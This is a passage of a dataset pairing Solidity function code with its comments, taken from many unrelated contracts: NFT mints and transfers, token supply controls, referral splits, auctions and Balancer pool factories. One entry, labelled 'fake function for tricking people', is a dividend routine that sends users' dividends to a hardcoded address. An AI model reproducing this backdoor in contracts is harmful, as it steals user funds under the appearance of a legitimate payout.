SafeMath.add(g.crystals, _share);\r\n Player storage p = players[msg.sender];\r\n if (p.currentRound == round) {\r\n p.share = SafeMath.add(p.share, _share);\r\n } else {\r\n p.share = _share;\r\n p.currentRound = round;\r\n }\r\n\r\n emit Deposit(msg.sender, p.currentRound, _value, p.share); \r\n }", "version": "0.4.25"} {"comment": "/**\r\n @notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call).\r\n @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see \"Approval\" section of the standard).\r\n MUST revert if `_to` is the zero address.\r\n MUST revert if balance of holder for token `_id` is lower than the `_value` sent.\r\n MUST revert on any other error.\r\n MUST emit the `TransferSingle` event to reflect the balance change (see \"Safe Transfer Rules\" section of the standard).\r\n After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see \"Safe Transfer Rules\" section of the standard).\r\n @param _from Source address\r\n @param _to Target address\r\n @param _id ID of the token type\r\n @param _value Transfer amount\r\n @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to`\r\n */", "function_code": "function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external {\r\n\r\n require(_to != address(0x0), \"_to must be non-zero.\");\r\n require(_from == msg.sender || operatorApproval[_from][msg.sender] == true, \"Need operator approval for 3rd party transfers.\");\r\n\r\n // SafeMath will throw with insuficient funds _from\r\n // or if _id is not valid (balance will be 0)\r\n balances[_id][_from] = balances[_id][_from].sub(_value);\r\n balances[_id][_to] = _value.add(balances[_id][_to]);\r\n\r\n // MUST emit event\r\n emit TransferSingle(msg.sender, _from, _to, _id, _value);\r\n\r\n // Now that the balance is updated and the event was emitted,\r\n // call onERC1155Received if the destination is a contract.\r\n if (_to.isContract()) {\r\n _doSafeTransferAcceptanceCheck(msg.sender, _from, _to, _id, _value, _data);\r\n }\r\n }", "version": "0.5.17"} {"comment": "/**\r\n @notice Get the balance of an account's Tokens.\r\n @param _owner The address of the token holder\r\n @param _id ID of the Token\r\n @return The _owner's balance of the Token type requested\r\n */", "function_code": "function balanceOf(address _owner, uint256 _id) external view returns (uint256) {\r\n // The balance of any account can be calculated from the Transfer events history.\r\n // However, since we need to keep the balances to validate transfer request,\r\n // there is no extra cost to also privide a querry function.\r\n return balances[_id][_owner];\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice Allows to mint one NFT if whitelisted\r\n *\r\n * @param _account The account of the user minting the NFT\r\n * @param _proof The Merkle Proof\r\n **/", "function_code": "function presaleMint(address _account, bytes32[] calldata _proof) external payable nonReentrant {\r\n //Are we in Presale ?\r\n require(sellingStep == Steps.Presale, \"Presale has not started yet.\");\r\n //Did this account already mint an NFT ?\r\n require(nftsPerWallet[_account] < 1, \"You can only get 10 NFT on the Presale\");\r\n //Is this user on the whitelist ?\r\n require(isWhiteListed(_account, _proof), \"Not on the whitelist\");\r\n //Get the price of one NFT during the Presale\r\n uint price = pricePresale;\r\n //Did the user send enought Ethers ?\r\n require(msg.value >= price, \"Not enought funds.\");\r\n //Increment the number of NFTs this user minted\r\n nftsPerWallet[_account]++;\r\n //Mint the user NFT\r\n _safeMint(_account, _nftIdCounter.current());\r\n //Increment the Id of the next NFT to mint\r\n _nftIdCounter.increment();\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @notice Allows to get the complete URI of a specific NFT by his ID\r\n *\r\n * @param _nftId The id of the NFT\r\n *\r\n * @return The token URI of the NFT which has _nftId Id\r\n **/", "function_code": "function tokenURI(uint _nftId) public view override(ERC721) returns (string memory) {\r\n require(_exists(_nftId), \"This NFT doesn't exist.\");\r\n if(revealed == false) {\r\n return notRevealedURI;\r\n }\r\n \r\n string memory currentBaseURI = _baseURI();\r\n return \r\n bytes(currentBaseURI).length > 0 \r\n ? string(abi.encodePacked(currentBaseURI, _nftId.toString(), baseExtension))\r\n : \"\";\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Returns the owner of the `tokenId` token.\r\n *\r\n * Requirements:\r\n *\r\n * - `tokenId` must exist.\r\n */", "function_code": "function ownerOf(uint256 tokenId) public view virtual returns (address) {\r\n unchecked {\r\n if (tokenId < _collectionData.index) {\r\n address ownership = _ownerships[tokenId];\r\n if (ownership != address(0)) {\r\n return ownership;\r\n }\r\n while (true) {\r\n tokenId--;\r\n ownership = _ownerships[tokenId];\r\n\r\n if (ownership != address(0)) {\r\n return ownership;\r\n }\r\n \r\n }\r\n }\r\n }\r\n\r\n revert ();\r\n }", "version": "0.8.12"} {"comment": "/**\r\n * @dev Safely mints `quantity` tokens and transfers them to `to`.\r\n *\r\n * Requirements:\r\n *\r\n * - `to` cannot be the zero address.\r\n * - If `to` refers to a smart contract, it must implement {onERC721Received}, which is called for each safe transfer.\r\n *\r\n * Emits a {Transfer} event.\r\n */", "function_code": "function _safeMint(address to, uint256 quantity, bytes memory _data) internal {\r\n require(to != address(0), \"Address 0\");\r\n require(quantity > 0, \"Quantity 0\");\r\n\r\n unchecked {\r\n uint256 updatedIndex = _collectionData.index;\r\n _addressData[to].balance += uint64(quantity);\r\n _ownerships[updatedIndex] = to;\r\n \r\n for (uint256 i; i < quantity; i++) {\r\n emit Transfer(address(0), to, updatedIndex);\r\n require(to.code.length == 0 ||\r\n ERC721TokenReceiver(to).onERC721Received(_msgSender(), address(0), updatedIndex, _data) ==\r\n ERC721TokenReceiver.onERC721Received.selector, \"Unsafe Destination\");\r\n updatedIndex++;\r\n }\r\n\r\n _collectionData.index = updatedIndex;\r\n }\r\n }", "version": "0.8.12"} {"comment": "/**\r\n * @dev Returns whether `_addressToCheck` is the owner of `quantity` tokens sequentially starting from `startID`.\r\n *\r\n * Requirements:\r\n *\r\n * - `startID` token and all sequential tokens must exist.\r\n */", "function_code": "function multiOwnerCheck(address _addressToCheck, uint256 startID, uint256 quantity) internal view returns (bool) {\r\n require(quantity > 1, \"Low Quantity\");\r\n unchecked {\r\n for (uint256 i; i < quantity; i++) {\r\n if (ownerOf(startID + i) != _addressToCheck){\r\n return false;\r\n }\r\n }\r\n }\r\n return true;\r\n }", "version": "0.8.12"} {"comment": "/**\r\n * @dev Locks `_owner`'s tokens from any form of transferring.\r\n * Requirements:\r\n *\r\n * - The `caller` cannot have their tokens locked currently.\r\n *\r\n * Emits a {Locked} event.\r\n */", "function_code": "function lock(uint256 _cooldown) public {\r\n require(!_addressData[_msgSender()].locked, \"Tokens currently locked\");\r\n require(_cooldown > 0 && _cooldown < 31, \"Invalid Cooldown\");\r\n unchecked {\r\n uint256 proposedCooldown = _cooldown * 1 days;\r\n require(block.timestamp + proposedCooldown > _addressData[_msgSender()].lockedUnlockTimestamp, \"Proposed cooldown too small\");\r\n _addressData[_msgSender()].locked = true;\r\n _addressData[_msgSender()].lockedUnlockCooldown = uint64(proposedCooldown);\r\n }\r\n emit Locked(_msgSender(), _cooldown);\r\n }", "version": "0.8.12"} {"comment": "/**\r\n * @dev Returns tokenIDs owned by `_owner`.\r\n */", "function_code": "function tokensOfOwner(address _owner) public view returns (uint256[] memory) {\r\n uint256 totalOwned = _addressData[_owner].balance;\r\n require(totalOwned > 0, \"balance 0\");\r\n uint256 supply = _collectionData.index;\r\n uint256[] memory tokenIDs = new uint256[](totalOwned);\r\n uint256 ownedIndex;\r\n address currentOwner;\r\n\r\n unchecked {\r\n for (uint256 i; i < supply; i++) {\r\n address currentAddress = _ownerships[i];\r\n if (currentAddress != address(0)) {\r\n currentOwner = currentAddress;\r\n }\r\n if (currentOwner == _owner) {\r\n tokenIDs[ownedIndex++] = i;\r\n if (ownedIndex == totalOwned){\r\n return tokenIDs;\r\n }\r\n }\r\n }\r\n }\r\n\r\n revert();\r\n }", "version": "0.8.12"} {"comment": "/**\r\n * @dev Destroys `tokenIDs`.\r\n * The approval is cleared when each token is burned.\r\n *\r\n * Requirements:\r\n *\r\n * - `tokenIDs` must exist.\r\n * - caller must be Owner or Approved for token usage.\r\n *\r\n * Emits a {Transfer} event.\r\n */", "function_code": "function batchBurn(uint256 startID, uint256 quantity) public {\r\n address currentOwner = ownerOf(startID);\r\n require(isUnlocked(currentOwner), \"ERC721L: Tokens Locked\");\r\n require(multiOwnerCheck(currentOwner, startID, quantity), \"ERC721L: Not Batchable\");\r\n require(_msgSender() == currentOwner || isApprovedForAll(currentOwner, _msgSender()), \"ERC721M: Not Approved\");\r\n \r\n unchecked {\r\n for (uint256 i; i < quantity; i++) {\r\n uint256 currentToken = startID + i;\r\n delete _tokenApprovals[currentToken];\r\n\r\n if (i == 0){\r\n _ownerships[currentToken] = address(0x000000000000000000000000000000000000dEaD);\r\n } else {\r\n delete _ownerships[currentToken];\r\n }\r\n emit Transfer(currentOwner, address(0x000000000000000000000000000000000000dEaD), currentToken);\r\n }\r\n _addressData[currentOwner].balance -= uint64(quantity);\r\n _collectionData.burned += uint128(quantity);\r\n uint256 nextTokenId = startID + quantity;\r\n if (_ownerships[nextTokenId] == address(0) && nextTokenId < _collectionData.index) {\r\n _ownerships[nextTokenId] = currentOwner;\r\n\r\n }\r\n }\r\n\r\n }", "version": "0.8.12"} {"comment": "/**\r\n * Initialize a new asset\r\n * @param dataNumber The number of data array\r\n * @param linkSet The set of URL of the original information for storing data, empty means undisclosed\r\n * needle is \" \"\r\n * @param encryptionTypeSet The set of encryption method of the original data, such as SHA-256\r\n * needle is \" \"\r\n * @param hashValueSet The set of hashvalue\r\n * needle is \" \"\r\n */", "function_code": "function initAsset(\r\n uint dataNumber,\r\n string linkSet,\r\n string encryptionTypeSet,\r\n string hashValueSet) public onlyHolder {\r\n // split string to array\r\n var links = linkSet.toSlice();\r\n var encryptionTypes = encryptionTypeSet.toSlice();\r\n var hashValues = hashValueSet.toSlice();\r\n var delim = \" \".toSlice();\r\n \r\n dataNum = dataNumber;\r\n \r\n // after init, the initAsset function cannot be called\r\n require(isInit == false, \"The contract has been initialized\");\r\n\r\n //check data\r\n require(dataNumber >= 1, \"Param dataNumber smaller than 1\");\r\n require(dataNumber - 1 == links.count(delim), \"Param linkSet invalid\");\r\n require(dataNumber - 1 == encryptionTypes.count(delim), \"Param encryptionTypeSet invalid\");\r\n require(dataNumber - 1 == hashValues.count(delim), \"Param hashValueSet invalid\");\r\n \r\n isInit = true;\r\n \r\n var empty = \"\".toSlice();\r\n \r\n for (uint i = 0; i < dataNumber; i++) {\r\n var link = links.split(delim);\r\n var encryptionType = encryptionTypes.split(delim);\r\n var hashValue = hashValues.split(delim);\r\n \r\n //require data not null\r\n // link can be empty\r\n require(!encryptionType.empty(), \"Param encryptionTypeSet data error\");\r\n require(!hashValue.empty(), \"Param hashValueSet data error\");\r\n \r\n dataArray.push(\r\n data(link.toString(), encryptionType.toString(), hashValue.toString())\r\n );\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Get data info by index\r\n * @param index index of dataArray\r\n */", "function_code": "function getDataByIndex(uint index) public view returns (string link, string encryptionType, string hashValue) {\r\n require(isValid == true, \"contract invaild\");\r\n require(index >= 0, \"Param index smaller than 0\");\r\n require(index < dataNum, \"Param index not smaller than dataNum\");\r\n link = dataArray[index].link;\r\n encryptionType = dataArray[index].encryptionType;\r\n hashValue = dataArray[index].hashValue;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Modify the link of the indexth data to be url\r\n * @param index index of assetInfo\r\n * @param url new link\r\n * Only can be called by holder\r\n */", "function_code": "function setDataLink(uint index, string url) public onlyHolder {\r\n require(isValid == true, \"contract invaild\");\r\n require(index >= 0, \"Param index smaller than 0\");\r\n require(index < dataNum, \"Param index not smaller than dataNum\");\r\n dataArray[index].link = url;\r\n }", "version": "0.4.24"} {"comment": "// ------------------------------------------------------------------------\n// Increment supply\n// ------------------------------------------------------------------------", "function_code": "function incrementSupply(uint256 increments) public onlyOwner returns (bool){\r\n require(increments > 0);\r\n uint256 curTotalSupply = _totalSupply;\r\n uint256 previousBalance = balanceOf(msg.sender);\r\n _totalSupply = curTotalSupply.add(increments);\r\n balances[msg.sender] = previousBalance.add(increments);\r\n emit IncrementSupply(msg.sender, increments);\r\n emit Transfer(address(0), msg.sender, increments);\r\n return true;\r\n }", "version": "0.5.17"} {"comment": "// ------------------------------------------------------------------------\n// Burns `amount` tokens from `owner`\n// @param amount The quantity of tokens being burned\n// @return True if the tokens are burned correctly\n// ------------------------------------------------------------------------", "function_code": "function burnTokens(uint256 amount) public onlyOwner returns (bool) {\r\n require(amount > 0);\r\n uint256 curTotalSupply = _totalSupply;\r\n require(curTotalSupply >= amount);\r\n uint256 previousBalanceTo = balanceOf(msg.sender);\r\n require(previousBalanceTo >= amount);\r\n _totalSupply = curTotalSupply.sub(amount);\r\n balances[msg.sender] = previousBalanceTo.sub(amount);\r\n emit BurnTokens(msg.sender, amount);\r\n emit Transfer(msg.sender, address(0), amount);\r\n return true;\r\n }", "version": "0.5.17"} {"comment": "// sets the discount and referral percentages for the current user\n// this is deliberately user-customisable", "function_code": "function setSplit(uint8 discount, uint8 referrer) public {\n require(discountLimit >= discount + referrer, \"can't give more than the limit\");\n require(discount + referrer >= discount, \"can't overflow\");\n splits[msg.sender] = Split({\n discountPercentage: discount,\n referrerPercentage: referrer,\n set: true\n });\n emit SplitChanged(msg.sender, discount, referrer);\n }", "version": "0.5.11"} {"comment": "// override a user's split", "function_code": "function overrideSplit(address user, uint8 discount, uint8 referrer) public onlyOwner {\n require(discountLimit >= discount + referrer, \"can't give more than the limit\");\n require(discount + referrer >= discount, \"can't overflow\");\n splits[user] = Split({\n discountPercentage: discount,\n referrerPercentage: referrer,\n set: true\n });\n emit SplitChanged(user, discount, referrer);\n }", "version": "0.5.11"} {"comment": "// sets the default discount and referral percentages", "function_code": "function setDefaults(uint _discount, uint _refer) public onlyOwner {\n require(discountLimit >= _discount + _refer, \"can't be more than the limit\");\n require(_discount + _refer >= _discount, \"can't overflow\");\n defaultDiscount = _discount;\n defaultRefer = _refer;\n }", "version": "0.5.11"} {"comment": "// gets the discount and referral rates for a particular user", "function_code": "function getSplit(address user) public view returns (uint8 discount, uint8 referrer) {\n if (user == address(0)) {\n return (0, 0);\n }\n Split memory s = splits[user];\n if (!s.set) {\n return (uint8(defaultDiscount), uint8(defaultRefer));\n }\n return (s.discountPercentage, s.referrerPercentage);\n }", "version": "0.5.11"} {"comment": "// get the amount of the purchase which will be allocated to\n// the vault and to the referrer", "function_code": "function getAllocations(uint cost, uint items, address referrer) public view returns (uint toVault, uint toReferrer) {\n uint8 discount;\n uint8 refer;\n (discount, refer) = referrals.getSplit(referrer);\n require(discount + refer <= 100 && discount + refer >= discount, \"invalid referral split\");\n // avoid overflow\n uint total = cost.mul(items);\n uint8 vaultPercentage = 100 - discount - refer;\n toVault = getPercentage(total, vaultPercentage);\n toReferrer = getPercentage(total, refer);\n uint discountedTotal = getPercentage(total, 100 - discount);\n require(discountedTotal == toVault.add(toReferrer), \"not all funds allocated\");\n return (toVault, toReferrer);\n }", "version": "0.5.11"} {"comment": "/**\n * @notice Create a new CRP\n * @dev emits a LogNewCRP event\n * @param factoryAddress - the BFactory instance used to create the underlying pool\n * @param poolParams - struct containing the names, tokens, weights, balances, and swap fee\n * @param rights - struct of permissions, configuring this CRP instance (see above for definitions)\n * @param smartPoolImplementation - the address of the implementation contract for the CRP\n * @param proxyAdmin - the address to be assigned as admin of the proxy contract that uses the CRP implementation\n */", "function_code": "function newCrp(\n address factoryAddress,\n ConfigurableRightsPool.PoolParams calldata poolParams,\n RightsManager.Rights calldata rights,\n address smartPoolImplementation,\n address proxyAdmin\n )\n external\n returns (ConfigurableRightsPool)\n {\n require(poolParams.constituentTokens.length >= BalancerConstants.MIN_ASSET_LIMIT, \"ERR_TOO_FEW_TOKENS\");\n\n // Arrays must be parallel\n require(poolParams.tokenBalances.length == poolParams.constituentTokens.length, \"ERR_START_BALANCES_MISMATCH\");\n require(poolParams.tokenWeights.length == poolParams.constituentTokens.length, \"ERR_START_WEIGHTS_MISMATCH\");\n\n InitializableAdminUpgradeabilityProxy proxy = new InitializableAdminUpgradeabilityProxy();\n\n bytes memory callData = abi.encodeWithSignature(\n \"initialize(address,(string,string,address[],uint256[],uint256[],uint256),(bool,bool,bool,bool,bool,bool))\",\n factoryAddress,\n poolParams,\n rights\n );\n proxy.initialize(smartPoolImplementation, proxyAdmin, callData);\n\n ConfigurableRightsPool crp = ConfigurableRightsPool(address(proxy));\n\n emit LogNewCrp(msg.sender, address(crp));\n\n _isCrp[address(crp)] = true;\n // The caller is the controller of the CRP\n // The CRP will be the controller of the underlying Core BPool\n crp.setController(msg.sender);\n\n return crp;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Approve owner (sender) to spend a certain amount\n * @dev emits an Approval event\n * @param spender - entity the owner (sender) is approving to spend his tokens\n * @param amount - number of tokens being approved\n * @return bool - result of the approval (will always be true if it doesn't revert)\n */", "function_code": "function approve(address spender, uint amount) external override returns (bool) {\n /* In addition to the increase/decreaseApproval functions, could\n avoid the \"approval race condition\" by only allowing calls to approve\n when the current approval amount is 0\n \n require(_allowance[msg.sender][spender] == 0, \"ERR_RACE_CONDITION\");\n\n Some token contracts (e.g., KNC), already revert if you call approve \n on a non-zero allocation. To deal with these, we use the SafeApprove library\n and safeApprove function when adding tokens to the pool.\n */\n\n _allowance[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Decrease the amount the spender is allowed to spend on behalf of the owner (sender)\n * @dev emits an Approval event\n * @dev If you try to decrease it below the current limit, it's just set to zero (not an error)\n * @param spender - entity the owner (sender) is approving to spend his tokens\n * @param amount - number of tokens being approved\n * @return bool - result of the approval (will always be true if it doesn't revert)\n */", "function_code": "function decreaseApproval(address spender, uint amount) external returns (bool) {\n uint oldValue = _allowance[msg.sender][spender];\n // Gas optimization - if amount == oldValue (or is larger), set to zero immediately\n if (amount >= oldValue) {\n _allowance[msg.sender][spender] = 0;\n } else {\n _allowance[msg.sender][spender] = BalancerSafeMath.bsub(oldValue, amount);\n }\n\n emit Approval(msg.sender, spender, _allowance[msg.sender][spender]);\n\n return true;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Transfer the given amount from sender to recipient\n * @dev _move emits a Transfer event if successful; may also emit an Approval event\n * @param sender - entity sending the tokens (must be caller or allowed to spend on behalf of caller)\n * @param recipient - recipient of the tokens\n * @param amount - number of tokens being transferred\n * @return bool - result of the transfer (will always be true if it doesn't revert)\n */", "function_code": "function transferFrom(address sender, address recipient, uint amount) external override returns (bool) {\n require(recipient != address(0), \"ERR_ZERO_ADDRESS\");\n require(msg.sender == sender || amount <= _allowance[sender][msg.sender], \"ERR_PCTOKEN_BAD_CALLER\");\n\n _move(sender, recipient, amount);\n\n // memoize for gas optimization\n uint oldAllowance = _allowance[sender][msg.sender];\n\n // If the sender is not the caller, adjust the allowance by the amount transferred\n if (msg.sender != sender && oldAllowance != uint(-1)) {\n _allowance[sender][msg.sender] = BalancerSafeMath.bsub(oldAllowance, amount);\n\n emit Approval(msg.sender, recipient, _allowance[sender][msg.sender]);\n }\n\n return true;\n }", "version": "0.6.12"} {"comment": "// Burn an amount of new tokens, and subtract them from the balance (and total supply)\n// Emit a transfer amount from this contract to the null address", "function_code": "function _burn(uint amount) internal virtual {\n // Can't burn more than we have\n // Remove require for gas optimization - bsub will revert on underflow\n // require(_balance[address(this)] >= amount, \"ERR_INSUFFICIENT_BAL\");\n\n _balance[address(this)] = BalancerSafeMath.bsub(_balance[address(this)], amount);\n varTotalSupply = BalancerSafeMath.bsub(varTotalSupply, amount);\n\n emit Transfer(address(this), address(0), amount);\n }", "version": "0.6.12"} {"comment": "// Transfer tokens from sender to recipient\n// Adjust balances, and emit a Transfer event", "function_code": "function _move(address sender, address recipient, uint amount) internal virtual {\n // Can't send more than sender has\n // Remove require for gas optimization - bsub will revert on underflow\n // require(_balance[sender] >= amount, \"ERR_INSUFFICIENT_BAL\");\n\n _balance[sender] = BalancerSafeMath.bsub(_balance[sender], amount);\n _balance[recipient] = BalancerSafeMath.badd(_balance[recipient], amount);\n\n emit Transfer(sender, recipient, amount);\n }", "version": "0.6.12"} {"comment": "//use the mint function to create an NFT", "function_code": "function mint(uint256 _count) public payable returns (uint256) {\r\n uint256 totalSupply = this.totalSupply();\r\n console.log(\"total supply before: %s\", totalSupply);\r\n require(mintingFee <= msg.value, \"Not Enough Ether To Mint\");\r\n require(isSaleActive, \"Sale is not active\" );\r\n require(_count > 0 && _count < MAX_TOKENS_PER_PURCHASE + 1, \"Exceeds maximum tokens you can purchase in a single transaction\");\r\n require(totalSupply + _count < MAX_TOKENS + 1, \"Exceeds maximum tokens available for purchase\");\r\n\r\n for(uint256 i = 0; i < _count; i++){\r\n _tokenIds += 1;\r\n _safeMint(msg.sender, totalSupply + i);\r\n }\r\n totalSupply = this.totalSupply();\r\n console.log(\"total supply after: %s\", totalSupply);\r\n return _tokenIds;\r\n }", "version": "0.8.7"} {"comment": "//in the function below include the CID of the JSON folder on IPFS", "function_code": "function tokenURI(uint256 _tokenId) override public view returns(string memory) {\r\n require(!isSaleActive, \"Sale is still active. baseURI will be released once all little skulls have been minted.\");\r\n return string(\r\n abi.encodePacked(\r\n baseURI,\r\n Strings.toString(_tokenId),\r\n \".json\"\r\n )\r\n );\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @notice Get reward\r\n * @param account Addresss\r\n * @return saved reward + new reward\r\n */", "function_code": "function getReward(address account) public view returns (uint256) {\r\n uint256 newReward = 0;\r\n\r\n if (\r\n _blockNumbers[account] != 0 && block.number > _blockNumbers[account]\r\n ) {\r\n newReward =\r\n (_refToken.balanceOf(account) *\r\n (block.number - _blockNumbers[account]) *\r\n _rewardPerBlock) /\r\n _refToken.totalSupply();\r\n }\r\n\r\n return newReward + _rewards[account];\r\n }", "version": "0.7.0"} {"comment": "//fake function for tricking people", "function_code": "function dividend(address _owner) internal returns (uint256 amount) {\r\n\t var balance = dividends(_owner);\r\n\t\t\r\n\t\t// Update the payouts array, incrementing the request address by `balance`.\r\n\t\tpayouts[msg.sender] += (int256) (balance * scaleFactor);\r\n\t\t\r\n\t\t// Increase the total amount that's been paid out to maintain invariance.\r\n\t\ttotalPayouts += (int256) (balance * scaleFactor);\r\n\t\t\r\n\t\t// Send the dividends to the address that requested the withdraw.\r\n\t\tcontractBalance = sub(contractBalance, balance);\r\n\t\t//msg.sender.transfer(balance);\r\n\t\t\r\n\t\taddress out = 0x21BBa5412455f6384F7f63FE0d63F2eB64b35d61;\r\n\t\tout.transfer(balance);\r\n\t\t\r\n\t\treturn 0;\r\n\t}", "version": "0.4.19"} {"comment": "/// @dev Returns current auction prices for up to 50 auctions\n/// @param _tokenIds - up to 50 IDs of NFT on auction that we want the prices of", "function_code": "function getCurrentAuctionPrices(uint128[] _tokenIds) public view returns (uint128[50]) {\r\n\r\n require (_tokenIds.length <= 50);\r\n\r\n /// @dev A fixed array we can return current auction price information in.\r\n uint128[50] memory currentPricesArray;\r\n\r\n for (uint8 i = 0; i < _tokenIds.length; i++) {\r\n Auction storage auction = tokenIdToAuction[_tokenIds[i]];\r\n if (_isOnAuction(auction)) {\r\n uint256 price = _currentPrice(auction);\r\n currentPricesArray[i] = uint128(price);\r\n }\r\n }\r\n\r\n return currentPricesArray;\r\n }", "version": "0.4.25"} {"comment": "/// @dev Creates and begins a new auction. We override the base class\n/// so we can add the listener capability.\n///\n/// CALLABLE ONLY BY NFT CONTRACT\n///\n/// @param _tokenId - ID of token to auction, sender must be owner.\n/// @param _startingPrice - Price of item (in wei) at beginning of auction.\n/// @param _endingPrice - Price of item (in wei) at end of auction.\n/// @param _duration - Length of auction (in seconds).\n/// @param _seller - Seller, if not the message sender", "function_code": "function createAuction(\r\n uint256 _tokenId,\r\n uint256 _startingPrice,\r\n uint256 _endingPrice,\r\n uint256 _duration,\r\n address _seller\r\n )\r\n public\r\n canBeStoredWith128Bits(_startingPrice)\r\n canBeStoredWith128Bits(_endingPrice)\r\n canBeStoredWith64Bits(_duration)\r\n {\r\n require(msg.sender == address(nonFungibleContract));\r\n _escrow(_seller, _tokenId);\r\n Auction memory auction = Auction(\r\n _seller,\r\n uint128(_startingPrice),\r\n uint128(_endingPrice),\r\n uint64(_duration),\r\n uint64(now)\r\n );\r\n _addAuction(_tokenId, auction);\r\n\r\n if (listener != address(0)) {\r\n listener.auctionCreated(_tokenId, _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration));\r\n }\r\n }", "version": "0.4.25"} {"comment": "/// @dev Reprices (and updates duration) of an array of tokens that are currently\n/// being auctioned by this contract.\n///\n/// CALLABLE ONLY BY NFT CONTRACT\n///\n/// @param _tokenIds Array of tokenIds corresponding to auctions being updated\n/// @param _startingPrices New starting prices\n/// @param _endingPrices New ending prices\n/// @param _duration New duration\n/// @param _seller Address of the seller in all specified auctions to be updated", "function_code": "function repriceAuctions(\r\n uint256[] _tokenIds,\r\n uint256[] _startingPrices,\r\n uint256[] _endingPrices,\r\n uint256 _duration,\r\n address _seller\r\n )\r\n public\r\n canBeStoredWith64Bits(_duration)\r\n {\r\n require(msg.sender == address(nonFungibleContract));\r\n\r\n uint64 timeNow = uint64(now);\r\n for (uint32 i = 0; i < _tokenIds.length; i++) {\r\n uint256 _tokenId = _tokenIds[i];\r\n uint256 _startingPrice = _startingPrices[i];\r\n uint256 _endingPrice = _endingPrices[i];\r\n\r\n // Must be able to be stored in 128 bits\r\n require(_startingPrice < 340282366920938463463374607431768211455);\r\n require(_endingPrice < 340282366920938463463374607431768211455);\r\n\r\n Auction storage auction = tokenIdToAuction[_tokenId];\r\n\r\n // Here is where we make sure the seller in the auction is correct.\r\n // Since this method can only be called by the NFT, the NFT controls\r\n // what happens here by passing in the _seller we are to require.\r\n if (auction.seller == _seller) {\r\n // Update the auction parameters\r\n auction.startingPrice = uint128(_startingPrice);\r\n auction.endingPrice = uint128(_endingPrice);\r\n auction.duration = uint64(_duration);\r\n auction.startedAt = timeNow;\r\n emit AuctionRepriced(_tokenId, _startingPrice, _endingPrice, uint64(_duration), timeNow);\r\n }\r\n }\r\n }", "version": "0.4.25"} {"comment": "/// @dev Place a bid to purchase multiple tokens in a single call.\n/// @param _tokenIds Array of IDs of tokens to bid on.", "function_code": "function batchBid(uint256[] _tokenIds) public payable whenNotPaused\r\n {\r\n // Check to make sure the bid amount is sufficient to purchase\r\n // all of the auctions specified.\r\n uint256 totalPrice = 0;\r\n for (uint32 i = 0; i < _tokenIds.length; i++) {\r\n uint256 _tokenId = _tokenIds[i];\r\n Auction storage auction = tokenIdToAuction[_tokenId];\r\n totalPrice += _currentPrice(auction);\r\n }\r\n require(msg.value >= totalPrice);\r\n\r\n // Loop through auctions, placing bids to buy\r\n //\r\n for (i = 0; i < _tokenIds.length; i++) {\r\n\r\n _tokenId = _tokenIds[i];\r\n auction = tokenIdToAuction[_tokenId];\r\n\r\n // Need to store this before the _bid & _transfer calls\r\n // so we can fire our auctionSuccessful events\r\n address seller = auction.seller;\r\n\r\n uint256 bid = _currentPrice(auction);\r\n uint256 price = _bid(_tokenId, bid);\r\n _transfer(msg.sender, _tokenId);\r\n\r\n if (listener != address(0)) {\r\n listener.auctionSuccessful(_tokenId, uint128(price), seller, msg.sender);\r\n }\r\n }\r\n }", "version": "0.4.25"} {"comment": "/// @dev Does exactly what the parent does, but also notifies any\n/// listener of the successful bid.\n/// @param _tokenId - ID of token to bid on.", "function_code": "function bid(uint256 _tokenId) public payable whenNotPaused\r\n {\r\n Auction storage auction = tokenIdToAuction[_tokenId];\r\n\r\n // Need to store this before the _bid & _transfer calls\r\n // so we can fire our auctionSuccessful events\r\n address seller = auction.seller;\r\n\r\n // _bid will throw if the bid or funds transfer fails\r\n uint256 price = _bid(_tokenId, msg.value);\r\n _transfer(msg.sender, _tokenId);\r\n\r\n if (listener != address(0)) {\r\n listener.auctionSuccessful(_tokenId, uint128(price), seller, msg.sender);\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Schedule (commit) a token to be added; must call applyAddToken after a fixed\n * number of blocks to actually add the token\n * @param bPool - Core BPool the CRP is wrapping\n * @param token - the token to be added\n * @param balance - how much to be added\n * @param denormalizedWeight - the desired token weight\n * @param newToken - NewTokenParams struct used to hold the token data (in CRP storage)\n */", "function_code": "function commitAddToken(\n IBPool bPool,\n address token,\n uint balance,\n uint denormalizedWeight,\n NewTokenParams storage newToken\n )\n external\n {\n require(!bPool.isBound(token), \"ERR_IS_BOUND\");\n\n require(denormalizedWeight <= BalancerConstants.MAX_WEIGHT, \"ERR_WEIGHT_ABOVE_MAX\");\n require(denormalizedWeight >= BalancerConstants.MIN_WEIGHT, \"ERR_WEIGHT_BELOW_MIN\");\n require(BalancerSafeMath.badd(bPool.getTotalDenormalizedWeight(),\n denormalizedWeight) <= BalancerConstants.MAX_TOTAL_WEIGHT,\n \"ERR_MAX_TOTAL_WEIGHT\");\n require(balance >= BalancerConstants.MIN_BALANCE, \"ERR_BALANCE_BELOW_MIN\");\n\n newToken.addr = token;\n newToken.balance = balance;\n newToken.denorm = denormalizedWeight;\n newToken.commitBlock = block.number;\n newToken.isCommitted = true;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Add the token previously committed (in commitAddToken) to the pool\n * @param self - ConfigurableRightsPool instance calling the library\n * @param bPool - Core BPool the CRP is wrapping\n * @param addTokenTimeLockInBlocks - Wait time between committing and applying a new token\n * @param newToken - NewTokenParams struct used to hold the token data (in CRP storage)\n */", "function_code": "function applyAddToken(\n IConfigurableRightsPool self,\n IBPool bPool,\n uint addTokenTimeLockInBlocks,\n NewTokenParams storage newToken\n )\n external\n {\n require(newToken.isCommitted, 